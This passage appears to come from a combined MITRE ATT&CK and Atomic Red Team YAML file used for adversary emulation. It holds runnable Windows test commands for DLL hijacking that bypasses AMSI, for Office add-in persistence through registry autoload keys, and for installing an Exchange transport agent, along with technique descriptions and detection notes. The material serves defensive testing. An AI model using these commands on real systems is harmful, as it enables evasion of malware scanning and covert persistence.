      - source_name: Microsoft Dynamic Link Library Search Order
        description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order.
          Retrieved November 30, 2014.
        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN
      - source_name: Microsoft Manifests
        description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
        url: https://msdn.microsoft.com/en-US/library/aa375365
      - source_name: FireEye DLL Search Order Hijacking
        description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking
          Revisited. Retrieved March 13, 2020.
        url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html
      - source_name: OWASP Binary Planting
        description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
          2016.
        url: https://www.owasp.org/index.php/Binary_planting
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1574.001
    atomic_tests:
    - name: DLL Search Order Hijacking - amsi.dll
      auto_generated_guid: 8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3
      description: |
        Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
        https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

        Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
          copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
          %APPDATA%\updater.exe -Command exit
        cleanup_command: |
          del %APPDATA%\updater.exe >nul 2>&1
          del %APPDATA%\amsi.dll >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Phantom Dll Hijacking - WinAppXRT.dll
      auto_generated_guid: 46ed938b-c617-429a-88dc-d49b5c9ffedb
      description: ".NET components (a couple of DLLs loaded anytime .NET apps are
        executed) when they are loaded they look for an environment variable called
        APPX_PROCESS\nSetting the environmental variable and dropping the phantom
        WinAppXRT.dll in e.g. c:\\windows\\system32 (or any other location accessible
        via PATH) will ensure the \nWinAppXRT.dll is loaded everytime user launches
        an application using .NET.\n\nUpon successful execution, amsi.dll will be
        copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will be copied
        to system32 folder for loading during execution of any .NET application.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
          ren %APPDATA%\amsi.dll WinAppXRT.dll
          copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll
          reg add "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /t REG_EXPAND_SZ /d "1" /f
        cleanup_command: |
          reg delete "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /f
          del %windir%\System32\WinAppXRT.dll
          del %APPDATA%\WinAppXRT.dll
        name: command_prompt
        elevation_required: true
  T1137.006:
    technique:
      x_mitre_platforms:
      - Windows
      - Office 365
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d
      type: attack-pattern
      created: '2019-11-07T19:52:52.801Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1137.006
        url: https://attack.mitre.org/techniques/T1137/006
      - url: https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460
        description: Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.
        source_name: Microsoft Office Add-ins
      - url: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
        description: Knowles, W. (2017, April 21). Add-In Opportunities for Office
          Persistence. Retrieved July 3, 2017.
        source_name: MRWLabs Office Persistence Add-ins
      - source_name: FireEye Mail CDS 2018
        url: https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf
        description: Caban, D. and Hirani, M. (2018, October 3). You’ve Got Mail!
          Enterprise Email Compromise. Retrieved April 22, 2019.
      - source_name: GlobalDotName Jun 2019
        url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique
        description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName
          - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Office Application Startup: Add-ins'
      description: "Adversaries may abuse Microsoft Office add-ins to obtain persistence
        on a compromised system. Office add-ins can be used to add functionality to
        Office programs. (Citation: Microsoft Office Add-ins) There are different
        types of add-ins that can be used by the various Office products; including
        Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object
        Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools
        for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office
        Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used
        to obtain persistence because they can be set to execute code when an Office
        application starts. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)

        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: Process Creation'
      - 'File: File Creation'
      x_mitre_permissions_required:
      - Administrator
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1137.006
    atomic_tests:
    - name: Code Executed Via Excel Add-in File (XLL)
      auto_generated_guid: 441b1a0f-a771-428a-8af0-e99e4698cda3
      description: |
        Loads an XLL file using the excel add-ins library.
        This causes excel to launch Notepad.exe as a child process. This atomic test does not include persistent code execution as you would typically see when this is implemented in malware.
      supported_platforms:
      - windows
      dependencies:
      - description: 'Microsoft Excel must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "Excel.Application" | Out-Null
            Stop-Process -Name "Excel"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Excel
          manually to meet this requirement"

          '
      - description: XLL files must exist on disk at specified location
        prereq_command: 'if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll")
          -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll"))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null
          Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll"
          Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll"
      executor:
        name: powershell
        command: |
          $excelApp = New-Object -COMObject "Excel.Application"
          if(-not $excelApp.path.contains("Program Files (x86)")){
              Write-Host "64-bit Office"
              $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll")
          }
          else{
            Write-Host "32-bit Office"
            $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll")
          }
        cleanup_command: 'Stop-Process -Name "notepad","Excel" -ErrorAction Ignore

          '
    - name: Persistent Code Execution Via Excel Add-in File (XLL)
      auto_generated_guid: 9c307886-9fef-41d5-b344-073a0f5b2f5f
      description: |
        Creates an Excel Add-in file (XLL) and sets a registry key to make it run automatically when Excel is started
        The sample XLL provided launches the notepad as a proof-of-concept for persistent execution from Office.
      supported_platforms:
      - windows
      dependencies:
      - description: 'Microsoft Excel must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "Excel.Application" | Out-Null
            Stop-Process -Name "Excel"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Excel
          manually to meet this requirement"

          '
      - description: XLL files must exist on disk at specified location
        prereq_command: 'if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll")
          -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll"))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null
          Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x64.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll"
          Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/excelxll_x86.xll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll"
      executor:
        name: powershell
        command: |
          $excelApp = New-Object -COMObject "Excel.Application"
          if(-not $excelApp.path.contains("Program Files (x86)")){
              Write-Host "64-bit Office"
              Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll"
          }
          else{
            Write-Host "32-bit Office"
            Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll"
          }
          $ver = $excelApp.version
          $ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\Excel\Options"
          Remove-Item $ExcelRegPath -ErrorAction Ignore
          New-Item -type Directory $ExcelRegPath | Out-Null
          New-ItemProperty $ExcelRegPath OPEN -value "/R notepad.xll" -propertyType string | Out-Null
          $excelApp.Quit()
          Start-Process "Excel"
        cleanup_command: |
          $ver = (New-Object -COMObject "Excel.Application").version
          Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\Excel\Options" -ErrorAction Ignore
          Stop-Process -Name "notepad","Excel" -ErrorAction Ignore
          Start-Sleep 3
          Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.xll" -ErrorAction Ignore
    - name: Persistent Code Execution Via Word Add-in File (WLL)
      auto_generated_guid: 95408a99-4fa7-4cd6-a7ef-cb65f86351cf
      description: "Creates a Word Add-in file (WLL) which runs automatically when
        Word is started\nThe sample WLL provided launches the notepad as a proof-of-concept
        for persistent execution from Office.\nSuccessfully tested on 32-bit Office
        2016. Not successful from microsoft 365 version of Office. \n"
      supported_platforms:
      - windows
      dependencies:
      - description: 'Microsoft Word must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "Word.Application" | Out-Null
            Stop-Process -Name "winword"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

          '
      - description: WLL files must exist on disk at specified location
        prereq_command: 'if ((Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll")
          -and (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll"))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null
          Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x64.wll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll"
          Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/wordwll_x86.wll" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll"
      executor:
        name: powershell
        command: "$wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program
          Files (x86)\"))  \n{\n  Write-Host \"64-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x64.wll\"
          \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"        \n}\nelse{\n
          \ Write-Host \"32-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x86.wll\"
          \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"\n}\nStop-Process
          -Name \"WinWord\" \nStart-Process \"WinWord\"\n"
        cleanup_command: |
          Stop-Process -Name "notepad","WinWord" -ErrorAction Ignore
          Start-Sleep 3
          Remove-Item "$env:APPDATA\Microsoft\Word\Startup\notepad.wll" -ErrorAction Ignore
    - name: Persistent Code Execution Via Excel VBA Add-in File (XLAM)
      auto_generated_guid: '082141ed-b048-4c86-99c7-2b8da5b5bf48'
      description: |
        Creates an Excel VBA Add-in file (XLAM) which runs automatically when Excel is started
        The sample XLAM provided launches the notepad as a proof-of-concept for persistent execution from Office.
      supported_platforms:
      - windows
      dependencies:
      - description: 'Microsoft Excel must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "Excel.Application" | Out-Null
            Stop-Process -Name "Excel"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Excel
          manually to meet this requirement"

          '
      - description: XLAM file must exist on disk at specified location
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null
          Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/ExcelVBAaddin.xlam" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam"
      executor:
        name: powershell
        command: "Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\ExcelVBAaddin.xlam\"
          \"$env:APPDATA\\Microsoft\\Excel\\XLSTART\\notepad.xlam\"        \nStart-Process
          \"Excel\"\n"
        cleanup_command: |
          Stop-Process -Name "notepad","Excel" -ErrorAction Ignore
          Start-Sleep 3
          Remove-Item "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam" -ErrorAction Ignore
    - name: Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM)
      auto_generated_guid: f89e58f9-2b49-423b-ac95-1f3e7cfd8277
      description: |
        Creates a PowerPoint VBA Add-in file (PPAM) which runs automatically when PowerPoint is started
        The sample PPA provided launches the notepad as a proof-of-concept for persistent execution from Office.
      supported_platforms:
      - windows
      dependencies:
      - description: 'Microsoft Excel must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "PowerPoint.Application" | Out-Null
            Stop-Process -Name "PowerPnt"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft PowerPoint
          manually to meet this requirement"

          '
      - description: PPAM file must exist on disk at specified location
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |-
          New-Item -Type Directory "PathToAtomicsFolder\T1137.006\bin\Addins\" -Force | Out-Null
          Invoke-Webrequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1137.006/bin/Addins/PptVBAaddin.ppam" -UseBasicParsing -OutFile "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam"
      executor:
        name: powershell
        command: |
          Copy "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" "$env:APPDATA\Microsoft\Addins\notepad.ppam"
          $ver = (New-Object -COMObject "PowerPoint.Application").version
          $ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad"
          New-Item -type Directory $ExcelRegPath -Force | Out-Null
          New-ItemProperty $ExcelRegPath "Autoload" -value "1" -propertyType DWORD  | Out-Null
          New-ItemProperty $ExcelRegPath "Path" -value "notepad.ppam" -propertyType string | Out-Null
          Stop-Process -Name "PowerPnt" -ErrorAction Ignore
          Start-Process "PowerPnt"
        cleanup_command: |-
          $ver = (New-Object -COMObject "PowerPoint.Application").version
          Remove-Item "HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad" -ErrorAction Ignore
          Stop-Process -Name "notepad","PowerPnt" -ErrorAction Ignore
          Start-Sleep 3
          Remove-Item "$env:APPDATA\Microsoft\AddIns\notepad.ppam"  -ErrorAction Ignore
  T1505.002:
    technique:
      x_mitre_platforms:
      - Linux
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - ESET
      - Christoffer Strömblad
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1
      type: attack-pattern
      created: '2019-12-12T15:08:20.972Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1505.002
        url: https://attack.mitre.org/techniques/T1505/002
      - source_name: Microsoft TransportAgent Jun 2016
        url: https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
        description: Microsoft. (2016, June 1). Transport agents. Retrieved June 24,
          2019.
      - source_name: ESET LightNeuron May 2019
        url: https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
        description: 'Faou, M. (2019, May). Turla LightNeuron: One email away from
          remote code execution. Retrieved June 24, 2019.'
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Server Software Component: Transport Agent'
      description: "Adversaries may abuse Microsoft transport agents to establish
        persistent access to systems. Microsoft Exchange transport agents can operate
        on email messages passing through the transport pipeline to perform various
        tasks such as filtering spam, filtering malicious attachments, journaling,
        or adding a corporate signature to the end of all outgoing emails.(Citation:
        Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport
        agents can be written by application developers and then compiled to .NET
        assemblies that are subsequently registered with the Exchange server. Transport
        agents will be invoked during a specified stage of email processing and carry
        out developer defined tasks. \n\nAdversaries may register a malicious transport
        agent to provide a persistence mechanism in Exchange Server that can be triggered
        by adversary-specified email events.(Citation: ESET LightNeuron May 2019)
        Though a malicious transport agent may be invoked for all emails passing through
        the Exchange transport pipeline, the agent can be configured to only carry
        out specific tasks in response to adversary defined criteria. For example,
        the transport agent may only carry out an action like copying in-transit attachments
        and saving them for later exfiltration if the recipient email address matches
        an entry on a list provided by the adversary. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: Consider monitoring application logs for abnormal behavior
        that may indicate suspicious installation of application software components.
        Consider monitoring file locations associated with the installation of new
        application software components such as paths from which applications typically
        load such extensible components.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Application Log: Application Log Content'
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      - root
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1505.002
    atomic_tests:
    - name: Install MS Exchange Transport Agent Persistence
      auto_generated_guid: 43e92449-ff60-46e9-83a3-1a38089df94d
      description: |
        Install a Microsoft Exchange Transport Agent for persistence. This requires execution from an Exchange Client Access Server and the creation of a DLL with specific exports. Seen in use by Turla.
        More details- https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
      supported_platforms:
      - windows
      input_arguments:
        class_factory:
          description: Class factory of transport agent.
          type: string
          default: Microsoft.Exchange.Security.Interop.SecurityInteropAgentFactory
        dll_path:
          description: Path of DLL to use as transport agent.
          type: path
          default: c:\program files\microsoft\Exchange Server\v15\bin\Microsoft.Exchange.Security.Interop.dll
        transport_agent_identity:
          description: Friendly name of transport agent once installed.
          type: string
          default: Security Interop Agent
      dependencies:
      - description: 'Microsoft Exchange SnapIn must be installed

          '
        prereq_command: 'Get-TransportAgent -TransportService FrontEnd

          '
        get_prereq_command: 'Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn

          '
      executor:
        command: |
          Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path}
          Enable-TransportAgent #{transport_agent_identity}
          Get-TransportAgent | Format-List Name,Enabled
        cleanup_command: |
          if(Get-Command "Get-TransportAgent" -ErrorAction Ignore){
            Disable-TransportAgent #{transport_agent_identity}
            Uninstall-TransportAgent #{transport_agent_identity}
            Get-TransportAgent
          }
        name: powershell
        elevation_required: true
  T1574.014:
    technique:
      modified: '2024-04-18T15:03:32.158Z'
      name: AppDomainManager
      description: "Adversaries may execute their own malicious payloads by hijacking
        how the .NET `AppDomainManager` loads assemblies. The .NET framework uses
        the `AppDomainManager` class to create and manage one or more isolated runtime
        environments (called application domains) inside a process to host the execution
        of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run
        as .NET code) may be loaded into an application domain as executable code.(Citation:
        Microsoft App Domains) \n\nKnown as \"AppDomainManager injection,\" adversaries
        may execute arbitrary code by hijacking how .NET applications load assemblies.
        For example, malware may create a custom application domain inside a target
        process to load and execute an arbitrary assembly. Alternatively, configuration
        files (`.config`) or process environment variables that define .NET runtime
        settings may be tampered with to instruct otherwise benign .NET applications
        to load a malicious assembly (identified by name) into the target process.(Citation:
        PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation:
        Rapid7 AppDomain Manager Injection)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Thomas B
      - Ivy Bostock
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'File: File Creation'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8
      created: '2024-03-28T15:36:34.141Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/014
        external_id: T1574.014
      - source_name: PenTestLabs AppDomainManagerInject
        description: Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND
          DETECTION. Retrieved March 28, 2024.
        url: https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/
      - source_name: Microsoft App Domains
        description: Microsoft. (2021, September 15). Application domains. Retrieved
          March 28, 2024.
        url: https://learn.microsoft.com/dotnet/framework/app-domains/application-domains
      - source_name: PwC Yellow Liderc
        description: PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships
          its scripts and delivers IMAPLoader malware. Retrieved March 29, 2024.
        url: https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html
      - source_name: Rapid7 AppDomain Manager Injection
        description: 'Spagnola, N. (2023, May 5). AppDomain Manager Injection: New
          Techniques For Red Teams. Retrieved March 29, 2024.'
        url: https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1098.006:
    technique:
      modified: '2023-10-16T17:51:35.865Z'
      name: Additional Container Cluster Roles
      description: "An adversary may add additional roles or permissions to an adversary-controlled
        user or service account to maintain persistent access to a container orchestration
        system. For example, an adversary with sufficient permissions may create a
        RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes
        account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023)
        Where attribute-based access control (ABAC) is in use, an adversary with sufficient
        permissions may modify a Kubernetes ABAC policy to give the target account
        additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification
        may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136)
        or other malicious account activity. Adversaries may also modify existing
        [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have
        compromised.  \n\nNote that where container orchestration systems are deployed
        in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes
        Service, and Azure Kubernetes Service, cloud-based  role-based access control
        (RBAC) assignments or ABAC policies can often be used in place of or in addition
        to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation:
        AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes
        Service Service Accounts) In these cases, this technique may be used in conjunction
        with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--35d30338-5bfa-41b0-a170-ec06dfd75f64
      created: '2023-07-14T14:01:50.806Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/006
        external_id: T1098.006
      - source_name: AWS EKS IAM Roles for Service Accounts
        description: Amazon Web Services. (n.d.). IAM roles for service accounts.
          Retrieved July 14, 2023.
        url: https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html
      - source_name: Google Cloud Kubernetes IAM
        description: Google Cloud. (n.d.). Create IAM policies. Retrieved July 14,
          2023.
        url: https://cloud.google.com/kubernetes-engine/docs/how-to/iam
      - source_name: Kuberentes ABAC
        description: Kuberenets. (n.d.). Using ABAC Authorization. Retrieved July
          14, 2023.
        url: https://kubernetes.io/docs/reference/access-authn-authz/abac/
      - source_name: Kubernetes RBAC
        description: Kubernetes. (n.d.). Role Based Access Control Good Practices.
          Retrieved March 8, 2023.
        url: https://kubernetes.io/docs/concepts/security/rbac-good-practices/
      - source_name: Aquasec Kubernetes Attack 2023
        description: Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever
          Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14,
          2023.
        url: https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters
      - source_name: Microsoft Azure Kubernetes Service Service Accounts
        description: Microsoft Azure. (2023, April 28). Access and identity options
          for Azure Kubernetes Service (AKS). Retrieved July 14, 2023.
        url: https://learn.microsoft.com/en-us/azure/aks/concepts-identity
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1053:
    technique:
      modified: '2024-03-01T15:29:46.832Z'
      name: Scheduled Task/Job
      description: |-
        Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)

        Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Prashant Verma, Paladion
      - Leo Loobeek, @leoloobeek
      - Travis Smith, Tripwire
      - Alain Homewood, Insomnia Security
      - Andrew Northern, @ex_raritas
      - Bryan Campbell, @bry_campbell
      - Zachary Abzug, @ZackDoesML
      - Selena Larson, @selenalarson
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc. \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
